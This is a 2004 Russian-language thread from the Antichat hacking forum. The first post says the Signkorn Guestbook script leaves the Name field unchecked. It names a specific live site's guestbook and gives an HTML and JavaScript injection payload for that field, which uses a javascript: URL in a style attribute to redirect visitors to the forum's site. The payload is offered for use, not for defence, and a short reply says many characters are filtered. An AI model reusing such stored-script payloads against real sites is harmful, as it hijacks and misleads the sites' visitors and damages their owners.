Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги  signkorn guestbook (https://forum.antichat.xyz/showthread.php?t=1954)

Егорыч+++ 25.05.2004 10:41

Signkorn Guestbook - типичный пример скрипта написанного по книжке. Проверяется homepage и mail, но скажем имя не проверяется совсем. Адрес гостевой



http://www.telekorn.de/cms/front_content.php

В поле Name вставляем

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><a style=background-image:url(javascript:navigate("http://antichat.ru"));[/QUOTE]<span id='postcolor'>

И как всегда получаем редирект на АНТИЧАТ..

m0nzt3r 03.09.2004 18:56

много символов не пропускает &nbsp;http://forum.antichat.ru/iB_html/non...cons/smile.gif


Время: 18:42